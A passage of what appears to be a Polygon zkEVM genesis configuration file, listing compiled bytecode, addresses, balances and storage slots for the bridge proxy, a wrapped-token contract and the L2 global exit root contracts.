0000000000000000000081525062001d10565b60408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f313ce5670000000000000000000000000000000000000000000000000000000017905290515f918291829173ffffffffffffffffffffffffffffffffffffffff86169162002b79919062003810565b5f60405180830381855afa9150503d805f811462002bb3576040519150601f19603f3d011682016040523d82523d5f602084013e62002bb8565b606091505b509150915081801562002bcc575080516020145b62002bd957601262001d10565b8080602001905181019062001d10919062003f11565b60018055565b60685460ff1662002c32576040517f5386698100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b606880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556040517f1e5e34eea33501aecf2ebec9fe0e884a40804275ea7fe10b2ba084c8374308b3905f90a1565b600881901c5f8181526069602052604081208054600160ff861690811b91821892839055929091908183169003620009a4576040517f646cf55800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f62002d4b826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166200307d9092919063ffffffff16565b80519091501562001eba578080602001905181019062002d6c919062003f2f565b62001eba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401620012d8565b5f54610100900460ff1662002bef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401620012d8565b6060604082511062002eb457818060200190518101906200077e919062003f4d565b81516020036200303f575f5b60208110801562002f0b575082818151811062002ee15762002ee162003aa5565b01602001517fff000000000000000000000000000000000000000000000000000000000000001615155b1562002f26578062002f1d8162003aff565b91505062002ec0565b805f0362002f6957505060408051808201909152601281527f4e4f545f56414c49445f454e434f44494e4700000000000000000000000000006020820152919050565b5f8167ffffffffffffffff81111562002f865762002f86620037bf565b6040519080825280601f01601f19166020018201604052801562002fb1576020820181803683370190505b5090505f5b82811015620030375784818151811062002fd45762002fd462003aa5565b602001015160f81c60f81b82828151811062002ff45762002ff462003aa5565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350806200302e8162003aff565b91505062002fb6565b509392505050565b505060408051808201909152601281527f4e4f545f56414c49445f454e434f44494e470000000000000000000000000000602082015290565b919050565b606062001d1084845f85855f808673ffffffffffffffffffffffffffffffffffffffff168587604051620030b2919062003810565b5f6040518083038185875af1925050503d805f8114620030ee576040519150601f19603f3d011682016040523d82523d5f602084013e620030f3565b606091505b5091509150620031068783838762003111565b979650505050505050565b60608315620031ab5782515f03620031a35773ffffffffffffffffffffffffffffffffffffffff85163b620031a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401620012d8565b508162001d10565b62001d108383815115620031c25781518083602001fd5b806040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620012d8919062003fc8565b611b0d8062003fdd83390190565b803563ffffffff8116811462003078575f80fd5b73ffffffffffffffffffffffffffffffffffffffff811681146200323c575f80fd5b50565b5f806040838503121562003251575f80fd5b6200325c8362003206565b915060208301356200326e816200321a565b809150509250929050565b80151581146200323c575f80fd5b5f8083601f84011262003298575f80fd5b50813567ffffffffffffffff811115620032b0575f80fd5b602083019150836020828501011115620032c8575f80fd5b9250929050565b5f805f805f60808688031215620032e4575f80fd5b620032ef8662003206565b9450602086013562003301816200321a565b93506040860135620033138162003279565b9250606086013567ffffffffffffffff8111156200332f575f80fd5b6200333d8882890162003287565b969995985093965092949392505050565b8061040081018310156200077e575f80fd5b5f805f805f805f805f805f6105208c8e0312156200337c575f80fd5b620033888d8d6200334e565b9a50620033996104008d0162003206565b99506104208c013598506104408c01359750620033ba6104608d0162003206565b96506104808c0135620033cd816200321a565b9550620033de6104a08d0162003206565b94506104c08c0135620033f1816200321a565b93506104e08c013592506105008c013567ffffffffffffffff81111562003416575f80fd5b620034248e828f0162003287565b915080935050809150509295989b509295989b9093969950565b5f602082840312156200344f575f80fd5b81356200345c816200321a565b9392505050565b60ff811681146200323c575f80fd5b5f805f805f805f60e0888a03121562003489575f80fd5b8735620034968162003463565b9650620034a66020890162003206565b95506040880135620034b8816200321a565b9450620034c86060890162003206565b93506080880135620034da816200321a565b9699959850939692959460a0840135945060c09093013592915050565b5f805f606084860312156200350a575f80fd5b620035158462003206565b9250602084013562003527816200321a565b9150604084013562003539816200321a565b809150509250925092565b5f6020828403121562003555575f80fd5b5035919050565b5f805f805f805f60a0888a03121562003573575f80fd5b6200357e8862003206565b9650602088013562003590816200321a565b9550604088013567ffffffffffffffff80821115620035ad575f80fd5b620035bb8b838c0162003287565b909750955060608a0135915080821115620035d4575f80fd5b50620035e38a828b0162003287565b9094509250506080880135620035f98162003463565b8091505092959891949750929550565b5f805f805f805f60c0888a03121562003620575f80fd5b6200362b8862003206565b965060208801356200363d816200321a565b955060408801359450606088013562003656816200321a565b93506080880135620036688162003279565b925060a088013567ffffffffffffffff81111562003684575f80fd5b620036928a828b0162003287565b989b979a50959850939692959293505050565b5f805f806104608587031215620036ba575f80fd5b84359350620036cd86602087016200334e565b9250620036de610420860162003206565b939692955092936104400135925050565b81835281816020850137505f602082840101525f60207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f840116840101905092915050565b5f61010060ff8c16835263ffffffff808c16602085015273ffffffffffffffffffffffffffffffffffffffff808c166040860152818b166060860152808a166080860152508760a08501528160c0850152620037968285018789620036ef565b925080851660e085015250509a9950505050505050505050565b818382375f9101908152919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f5b8381101562003808578181015183820152602001620037ee565b50505f910152565b5f825162003823818460208701620037ec565b9190910192915050565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715620038775762003877620037bf565b604052919050565b5f67ffffffffffffffff8211156200389b576200389b620037bf565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b5f82601f830112620038d7575f80fd5b8135620038ee620038e8826200387f565b6200382d565b81815284602083860101111562003903575f80fd5b816020850160208301375f918101602001919091529392505050565b5f805f6060848603121562003932575f80fd5b833567ffffffffffffffff808211156200394a575f80fd5b6200395887838801620038c7565b945060208601359150808211156200396e575f80fd5b506200397d86828701620038c7565b9250506040840135620035398162003463565b5f8151808452620039a9816020860160208601620037ec565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b606081525f620039ef606083018662003990565b828103602084015262003a03818662003990565b91505060ff83166040830152949350505050565b63ffffffff861681525f73ffffffffffffffffffffffffffffffffffffffff80871660208401528086166040840152506080606083015262003106608083018486620036ef565b73ffffffffffffffffffffffffffffffffffffffff8516815263ffffffff84166020820152606060408201525f62003a9b606083018486620036ef565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362003b325762003b3262003ad2565b5060010190565b606081525f62003b4e606083018789620036ef565b828103602084015262003b63818688620036ef565b91505060ff831660408301529695505050505050565b5f835162003b8c818460208801620037ec565b83519083019062003ba2818360208801620037ec565b01949350505050565b5f6020828403121562003bbc575f80fd5b5051919050565b818103818111156200077e576200077e62003ad2565b5f61010060ff8b16835263ffffffff808b16602085015273ffffffffffffffffffffffffffffffffffffffff808b166040860152818a1660608601528089166080860152508660a08501528160c085015262003c388285018762003990565b925080851660e085015250509998505050505050505050565b600181815b8085111562003cb057817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0482111562003c945762003c9462003ad2565b8085161562003ca257918102915b93841c939080029062003c56565b509250929050565b5f8262003cc8575060016200077e565b8162003cd657505f6200077e565b816001811462003cef576002811462003cfa5762003d1a565b60019150506200077e565b60ff84111562003d0e5762003d0e62003ad2565b50506001821b6200077e565b5060208310610133831016604e8410600b841016171562003d3f575081810a6200077e565b62003d4b838362003c51565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0482111562003d805762003d8062003ad2565b029392505050565b5f6200345c838362003cb8565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52600160045260245ffd5b5f808585111562003dd1575f80fd5b8386111562003dde575f80fd5b5050820193919092039150565b7fffffffff00000000000000000000000000000000000000000000000000000000813581811691600485101562003e2c5780818660040360031b1b83161692505b505092915050565b5f805f805f805f60e0888a03121562003e4b575f80fd5b873562003e58816200321a565b9650602088013562003e6a816200321a565b955060408801359450606088013593506080880135620034da8162003463565b5f805f805f805f80610100898b03121562003ea3575f80fd5b883562003eb0816200321a565b9750602089013562003ec2816200321a565b96506040890135955060608901359450608089013562003ee28162003279565b935060a089013562003ef48162003463565b979a969950949793969295929450505060c08201359160e0013590565b5f6020828403121562003f22575f80fd5b81516200345c8162003463565b5f6020828403121562003f40575f80fd5b81516200345c8162003279565b5f6020828403121562003f5e575f80fd5b815167ffffffffffffffff81111562003f75575f80fd5b8201601f8101841362003f86575f80fd5b805162003f97620038e8826200387f565b81815285602083850101111562003fac575f80fd5b62003fbf826020830160208601620037ec565b95945050505050565b602081525f6200345c60208301846200399056fe61010060405234801562000011575f80fd5b5060405162001b0d38038062001b0d833981016040819052620000349162000282565b828260036200004483826200038d565b5060046200005382826200038d565b50503360c0525060ff811660e05246608081905262000072906200007f565b60a0525062000455915050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f620000ab6200012c565b805160209182012060408051808201825260018152603160f81b90840152805192830193909352918101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc66060820152608081018390523060a082015260c001604051602081830303815290604052805190602001209050919050565b6060600380546200013d9062000301565b80601f01602080910402602001604051908101604052809291908181526020018280546200016b9062000301565b8015620001ba5780601f106200019057610100808354040283529160200191620001ba565b820191905f5260205f20905b8154815290600101906020018083116200019c57829003601f168201915b5050505050905090565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112620001e8575f80fd5b81516001600160401b0380821115620002055762000205620001c4565b604051601f8301601f19908116603f01168101908282118183101715620002305762000230620001c4565b816040528381526020925086838588010111156200024c575f80fd5b5f91505b838210156200026f578582018301518183018401529082019062000250565b5f93810190920192909252949350505050565b5f805f6060848603121562000295575f80fd5b83516001600160401b0380821115620002ac575f80fd5b620002ba87838801620001d8565b94506020860151915080821115620002d0575f80fd5b50620002df86828701620001d8565b925050604084015160ff81168114620002f6575f80fd5b809150509250925092565b600181811c908216806200031657607f821691505b6020821081036200033557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000388575f81815260208120601f850160051c81016020861015620003635750805b601f850160051c820191505b8181101562000384578281556001016200036f565b5050505b505050565b81516001600160401b03811115620003a957620003a9620001c4565b620003c181620003ba845462000301565b846200033b565b602080601f831160018114620003f7575f8415620003df5750858301515b5f19600386901b1c1916600185901b17855562000384565b5f85815260208120601f198616915b82811015620004275788860151825594840194600190910190840162000406565b50858210156200044557878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b60805160a05160c05160e05161166f6200049e5f395f61022d01525f81816102fb015281816105ad015261069401525f61052801525f818161036d01526104f2015261166f5ff3fe608060405234801561000f575f80fd5b506004361061016e575f3560e01c806370a08231116100d2578063a457c2d711610088578063d505accf11610063578063d505accf1461038f578063dd62ed3e146103a2578063ffa1ad74146103e7575f80fd5b8063a457c2d714610342578063a9059cbb14610355578063cd0d009614610368575f80fd5b806395d89b41116100b857806395d89b41146102db5780639dc29fac146102e3578063a3c573eb146102f6575f80fd5b806370a08231146102875780637ecebe00146102bc575f80fd5b806330adf81f116101275780633644e5151161010d5780633644e51514610257578063395093511461025f57806340c10f1914610272575f80fd5b806330adf81f146101ff578063313ce56714610226575f80fd5b806318160ddd1161015757806318160ddd146101b357806320606b70146101c557806323b872dd146101ec575f80fd5b806306fdde0314610172578063095ea7b314610190575b5f80fd5b61017a610423565b60405161018791906113c1565b60405180910390f35b6101a361019e366004611452565b6104b3565b6040519015158152602001610187565b6002545b604051908152602001610187565b6101b77f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f81565b6101a36101fa36600461147a565b6104cc565b6101b77f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b60405160ff7f0000000000000000000000000000000000000000000000000000000000000000168152602001610187565b6101b76104ef565b6101a361026d366004611452565b61054a565b610285610280366004611452565b610595565b005b6101b76102953660046114b3565b73ffffffffffffffffffffffffffffffffffffffff165f9081526020819052604090205490565b6101b76102ca3660046114b3565b60056020525f908152604090205481565b61017a61066d565b6102856102f1366004611452565b61067c565b61031d7f000000000000000000000000000000000000000000000000000000000000000081565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610187565b6101a3610350366004611452565b61074b565b6101a3610363366004611452565b61081b565b6101b77f000000000000000000000000000000000000000000000000000000000000000081565b61028561039d3660046114d3565b610828565b6101b76103b0366004611540565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b61017a6040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525081565b60606003805461043290611571565b80601f016020809104026020016040519081016040528092919081815260200182805461045e90611571565b80156104a95780601f10610480576101008083540402835291602001916104a9565b820191905f5260205f20905b81548152906001019060200180831161048c57829003601f168201915b5050505050905090565b5f336104c0818585610b59565b60019150505b92915050565b5f336104d9858285610d0c565b6104e4858585610de2565b506001949350505050565b5f7f00000000000000000000000000000000000000000000000000000000000000004614610525576105204661104f565b905090565b507f000000000000000000000000000000000000000000000000000000000000000090565b335f81815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff871684529091528120549091906104c090829086906105909087906115ef565b610b59565b3373ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000161461065f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f546f6b656e577261707065643a3a6f6e6c794272696467653a204e6f7420506f60448201527f6c79676f6e5a6b45564d4272696467650000000000000000000000000000000060648201526084015b60405180910390fd5b6106698282611116565b5050565b60606004805461043290611571565b3373ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001614610741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f546f6b656e577261707065643a3a6f6e6c794272696467653a204e6f7420506f60448201527f6c79676f6e5a6b45564d427269646765000000000000000000000000000000006064820152608401610656565b6106698282611207565b335f81815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff871684529091528120549091908381101561080e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f0000000000000000000000000000000000000000000000000000006064820152608401610656565b6104e48286868403610b59565b5f336104c0818585610de2565b834211156108b7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f546f6b656e577261707065643a3a7065726d69743a204578706972656420706560448201527f726d6974000000000000000000000000000000000000000000000000000000006064820152608401610656565b73ffffffffffffffffffffffffffffffffffffffff87165f90815260056020526040812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918a918a918a91908661091083611602565b9091555060408051602081019690965273ffffffffffffffffffffffffffffffffffffffff94851690860152929091166060840152608083015260a082015260c0810186905260e0016040516020818303038152906040528051906020012090505f61097a6104ef565b6040517f19010000000000000000000000000000000000000000000000000000000000006020820152602281019190915260428101839052606201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815282825280516020918201205f80855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0016020604051602081039080840390855afa158015610a3b573d5f803e3d5ffd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590610ab657508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f546f6b656e577261707065643a3a7065726d69743a20496e76616c696420736960448201527f676e6174757265000000000000000000000000000000000000000000000000006064820152608401610656565b610b4d8a8a8a610b59565b50505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff8316610bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610656565b73ffffffffffffffffffffffffffffffffffffffff8216610c9e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610656565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8381165f908152600160209081526040808320938616835292905220547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ddc5781811015610dcf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610656565b610ddc8484848403610b59565b50505050565b73ffffffffffffffffffffffffffffffffffffffff8316610e85576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610656565b73ffffffffffffffffffffffffffffffffffffffff8216610f28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610656565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526020819052604090205481811015610fdd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e636500000000000000000000000000000000000000000000000000006064820152608401610656565b73ffffffffffffffffffffffffffffffffffffffff8481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610ddc565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f611079610423565b8051602091820120604080518082018252600181527f310000000000000000000000000000000000000000000000000000000000000090840152805192830193909352918101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc66060820152608081018390523060a082015260c001604051602081830303815290604052805190602001209050919050565b73ffffffffffffffffffffffffffffffffffffffff8216611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610656565b8060025f8282546111a491906115ef565b909155505073ffffffffffffffffffffffffffffffffffffffff82165f81815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b73ffffffffffffffffffffffffffffffffffffffff82166112aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360448201527f73000000000000000000000000000000000000000000000000000000000000006064820152608401610656565b73ffffffffffffffffffffffffffffffffffffffff82165f908152602081905260409020548181101561135f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60448201527f63650000000000000000000000000000000000000000000000000000000000006064820152608401610656565b73ffffffffffffffffffffffffffffffffffffffff83165f818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610cff565b5f6020808352835180828501525f5b818110156113ec578581018301518582016040015282016113d0565b505f6040828601015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8301168501019250505092915050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461144d575f80fd5b919050565b5f8060408385031215611463575f80fd5b61146c8361142a565b946020939093013593505050565b5f805f6060848603121561148c575f80fd5b6114958461142a565b92506114a36020850161142a565b9150604084013590509250925092565b5f602082840312156114c3575f80fd5b6114cc8261142a565b9392505050565b5f805f805f805f60e0888a0312156114e9575f80fd5b6114f28861142a565b96506115006020890161142a565b95506040880135945060608801359350608088013560ff81168114611523575f80fd5b9699959850939692959460a0840135945060c09093013592915050565b5f8060408385031215611551575f80fd5b61155a8361142a565b91506115686020840161142a565b90509250929050565b600181811c9082168061158557607f821691505b6020821081036115bc577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b808201808211156104c6576104c66115c2565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611632576116326115c2565b506001019056fea2646970667358221220a04a4613834006222ac539b942dfe3284c1163f5082f3bafb302007d825cd7ff64736f6c63430008140033a2646970667358221220efc010afd4f7ef7135c2d52e7832f4d0832c536dbd0768cad0ec9406e70e02b864736f6c63430008140033" + }, + { + "contractName": "PolygonZkEVMBridge proxy", + "balance": "200000000000000000000000000", + "nonce": "1", + "address": "0xA34BBAf52eE84Cd95a6d5Ac2Eab9de142D4cdB53", + "bytecode": "0x60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100e3578063f851a440146101025761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610116565b005b61006a610116565b34801561007f575f80fd5b5061006a61008e366004610854565b610130565b61006a6100a136600461086d565b610178565b3480156100b1575f80fd5b506100ba6101eb565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b3480156100ee575f80fd5b5061006a6100fd366004610854565b610228565b34801561010d575f80fd5b506100ba610255565b61011e610282565b61012e610129610359565b610362565b565b610138610380565b73ffffffffffffffffffffffffffffffffffffffff1633036101705761016d8160405180602001604052805f8152505f6103bf565b50565b61016d610116565b610180610380565b73ffffffffffffffffffffffffffffffffffffffff1633036101e3576101de8383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f92019190915250600192506103bf915050565b505050565b6101de610116565b5f6101f4610380565b73ffffffffffffffffffffffffffffffffffffffff16330361021d57610218610359565b905090565b610225610116565b90565b610230610380565b73ffffffffffffffffffffffffffffffffffffffff1633036101705761016d816103e9565b5f61025e610380565b73ffffffffffffffffffffffffffffffffffffffff16330361021d57610218610380565b61028a610380565b73ffffffffffffffffffffffffffffffffffffffff16330361012e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f61021861044a565b365f80375f80365f845af43d5f803e80801561037c573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b5473ffffffffffffffffffffffffffffffffffffffff16919050565b6103c883610471565b5f825111806103d45750805b156101de576103e383836104bd565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610412610380565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301520160405180910390a161016d816104e9565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6103a3565b61047a816105f5565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104e28383604051806060016040528060278152602001610977602791396106c0565b9392505050565b73ffffffffffffffffffffffffffffffffffffffff811661058c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610350565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691909117905550565b73ffffffffffffffffffffffffffffffffffffffff81163b610699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e7472616374000000000000000000000000000000000000006064820152608401610350565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6105af565b60605f808573ffffffffffffffffffffffffffffffffffffffff16856040516106e9919061090b565b5f60405180830381855af49150503d805f8114610721576040519150601f19603f3d011682016040523d82523d5f602084013e610726565b606091505b509150915061073786838387610741565b9695505050505050565b606083156107d65782515f036107cf5773ffffffffffffffffffffffffffffffffffffffff85163b6107cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610350565b50816107e0565b6107e083836107e8565b949350505050565b8151156107f85781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103509190610926565b803573ffffffffffffffffffffffffffffffffffffffff8116811461084f575f80fd5b919050565b5f60208284031215610864575f80fd5b6104e28261082c565b5f805f6040848603121561087f575f80fd5b6108888461082c565b9250602084013567ffffffffffffffff808211156108a4575f80fd5b818601915086601f8301126108b7575f80fd5b8135818111156108c5575f80fd5b8760208285010111156108d6575f80fd5b6020830194508093505050509250925092565b5f5b838110156109035781810151838201526020016108eb565b50505f910152565b5f825161091c8184602087016108e9565b9190910192915050565b602081525f82518060208401526109448160408501602087016108e9565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212202ac98acbfbb3d3ac1b74050e18c4e76db25a3ff2801ec69bf85d0c61414d502b64736f6c63430008140033", + "storage": { + "0x0000000000000000000000000000000000000000000000000000000000000000": "0x0000000000000000000000000000000000000000000000000000000000000001", + "0x0000000000000000000000000000000000000000000000000000000000000001": "0x0000000000000000000000000000000000000000000000000000000000000001", + "0x0000000000000000000000000000000000000000000000000000000000000068": "0x00000000000000a40d5f56745a118d0906a34e69aec8c0db1cb8fa0000000100", + "0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103": "0x000000000000000000000000fe3306bb4124e90ea08af2776008592052ecb9e0", + "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc": "0x000000000000000000000000eae46b49f2fc2d5adfc457a19d6e34aec6eb6c3a" + } + }, + { + "contractName": "PolygonZkEVMGlobalExitRootL2 implementation", + "balance": "0", + "nonce": "1", + "address": "0x3c26Af9e85715f5767Ba566AAa4dfcD9c4a2fc1a", + "bytecode": "0x608060405234801561000f575f80fd5b506004361061004a575f3560e01c806301fd90441461004e578063257b36321461006a57806333d6247d14610089578063a3c573eb1461009e575b5f80fd5b61005760015481565b6040519081526020015b60405180910390f35b61005761007836600461015e565b5f6020819052908152604090205481565b61009c61009736600461015e565b6100ea565b005b6100c57f000000000000000000000000a34bbaf52ee84cd95a6d5ac2eab9de142d4cdb5381565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610061565b3373ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000a34bbaf52ee84cd95a6d5ac2eab9de142d4cdb531614610159576040517fb49365dd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600155565b5f6020828403121561016e575f80fd5b503591905056fea26469706673582212205108c6c4f924146b736832a1bdf696e20d900450207b7452462368d150f2c71c64736f6c63430008140033" + }, + { + "contractName": "PolygonZkEVMGlobalExitRootL2 proxy", + "balance": "0", + "nonce": "1", + "address": "0xa40d5f56745a118d0906a34e69aec8c0db1cb8fa", + "bytecode": "0x60806040523661001357610011610017565b005b6100115b61001f6101b7565b6001600160a01b0316336001600160a01b0316141561016f5760606001600160e01b031960003516631b2ce7f360e11b8114156100655761005e6101ea565b9150610167565b6001600160e01b0319811663278f794360e11b14156100865761005e610241565b6001600160e01b031981166308f2839760e41b14156100a75761005e610287565b6001600160e01b031981166303e1469160e61b14156100c85761005e6102b8565b6001600160e01b03198116635c60da1b60e01b14156100e95761005e6102f8565b60405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b815160208301f35b61017761030c565b565b606061019e83836040518060600160405280602781526020016108576027913961031c565b9392505050565b90565b6001600160a01b03163b151590565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b60606101f4610394565b600061020336600481846106a2565b81019061021091906106e8565b905061022d8160405180602001604052806000815250600061039f565b505060408051602081019091526000815290565b606060008061025336600481846106a2565b8101906102609190610719565b915091506102708282600161039f565b604051806020016040528060008152509250505090565b6060610291610394565b60006102a036600481846106a2565b8101906102ad91906106e8565b905061022d816103cb565b60606102c2610394565b60006102cc6101b7565b604080516001600160a01b03831660208201529192500160405160208183030381529060405291505090565b6060610302610394565b60006102cc610422565b610177610317610422565b610431565b6060600080856001600160a01b0316856040516103399190610807565b600060405180830381855af49150503d8060008114610374576040519150601f19603f3d01168201604